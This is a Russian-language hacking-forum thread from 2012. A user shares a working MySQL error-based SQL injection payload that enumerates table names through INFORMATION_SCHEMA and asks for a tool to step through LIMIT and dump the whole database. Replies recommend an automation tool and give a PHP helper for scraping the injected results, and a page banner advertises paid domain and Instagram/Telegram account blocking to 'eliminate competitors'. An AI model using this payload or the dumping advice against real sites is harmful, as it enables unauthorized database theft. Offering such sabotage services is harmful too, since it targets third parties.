Чем не напрягаясь можно получить дампнуть базу через Error Based SQLi?

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Чем не напрягаясь можно получить дампнуть базу через Error Based SQLi?

Опции темы

Поиск в этой теме

Опции просмотра

26.01.2012, 20:17

fl00der

Постоянный

Регистрация: 17.12.2008

Сообщений: 353

С нами: 9157119

Репутация: 74

Собственно ситуация, имеется запрос вида

Цитата:

Сообщение от None

id=-1+or+(select+count(*)+from+(select+1+union+select+ 2+union+select+3)x+group+by+concat((SELECT+TABLE_N AME+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),floo r(rand(0)*2)))+--+

Инфа выдается нормально.

Но в базе уйма таблиц, и сидеть менять это число не очень прикалывает.

Есть ли какой-нидь скрипт/софт, который бы просто прокрутил limit и выдал результат?

Спасибо.

𝕏 Twitter Reddit Telegram Копировать ссылку

26.01.2012, 21:02

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

С нами: 8885780

Репутация: 672

уже 100 раз обсуждали, toolza

26.01.2012, 21:47

qaz

Познавший АНТИЧАТ

Регистрация: 12.07.2010

Сообщений: 1,546

С нами: 8334326

Репутация: 75

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR]

[/COLOR]

26.01.2012, 22:00

trololoman96

Участник форума

Регистрация: 01.12.2011

Сообщений: 120

С нами: 7604246

Репутация: 55

нахрена в слепую делать 1к запросов ?)

26.01.2012, 22:19

qaz

Познавший АНТИЧАТ

Регистрация: 12.07.2010

Сообщений: 1,546

С нами: 8334326

Репутация: 75

Цитата:

Сообщение от trololoman96

нахрена в слепую делать 1к запросов ?)

да незачем, методом тыка в 2-3 запроса посмотри сколько всего там значений выводится значений и можно парсить

26.01.2012, 22:24

<Cyber-punk>

Участник форума

Регистрация: 01.10.2009

Сообщений: 105

С нами: 8742676

Репутация: 94

Toolza от Пашкеллы тебе в помощь!

Да, и лучше используй такую функцию, чтобы парсить страничку:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]
[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]ex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$from[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$to[/COLOR][COLOR="#007700"])

{

[/COLOR][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$from[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$to[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]);

return[/COLOR][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

}

[/COLOR][COLOR="#FF8000"]// В $input - полученная курлом страница.

[/COLOR][COLOR="#0000BB"]$answ[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]ex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$input[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// Выведет то что между ними

[/COLOR][/COLOR]